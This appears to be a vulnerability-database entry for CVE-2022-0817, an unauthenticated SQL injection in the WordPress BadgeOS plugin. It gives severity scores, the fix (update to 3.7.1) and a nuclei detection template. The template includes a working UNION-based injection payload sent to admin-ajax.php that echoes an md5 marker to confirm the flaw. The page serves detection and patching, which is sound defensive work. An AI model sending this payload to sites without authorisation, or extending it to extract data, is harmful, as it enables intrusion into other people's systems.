HexBrain

Browse / CVEs / CVE-2022-0817

CVE-2022-0817· badgeos / badgeos· CWE-89

WordPress BadgeOS <=3.7.0 - SQL Injection

criticalseverity
9.8CVSS score
11.6%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

WordPress BadgeOS plugin through 3.7.0 contains a SQL injection vulnerability. It does not sanitize and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.

Fix

Update to the latest version of the BadgeOS plugin (>=3.7.1) to mitigate this vulnerability.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains(body, md5(num)) and contains(content_type, "application/json") and contains(body, "badgeos-arrange-buttons")

Run it with nuclei: nuclei -id CVE-2022-0817 -u <target>

The full check
id: CVE-2022-0817

info:
  name: WordPress BadgeOS <=3.7.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress BadgeOS plugin through 3.7.0  contains a SQL injection vulnerability. It does not sanitize and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Update to the latest version of the BadgeOS plugin (>=3.7.1) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/69263610-f454-4f27-80af-be523d25659e
    - https://wordpress.org/plugins/badgeos/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0817
    - https://github.com/20142995/sectool
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0817
    cwe-id: CWE-89
    epss-score: 0.11586
    epss-percentile: 0.96071
    cpe: cpe:2.3:a:badgeos:badgeos:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: badgeos
    product: badgeos
    framework: wordpress
  tags: cve,cve2022,wp,unauth,sqli,wp-plugin,badgeos,wpscan,wordpress,vuln
variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=get-achievements&total_only=true&user_id=11 UNION ALL SELECT NULL,CONCAT(1,md5({{num}}),1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - "contains(body, md5(num))"
          - 'contains(content_type, "application/json")'
          - 'contains(body, "badgeos-arrange-buttons")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from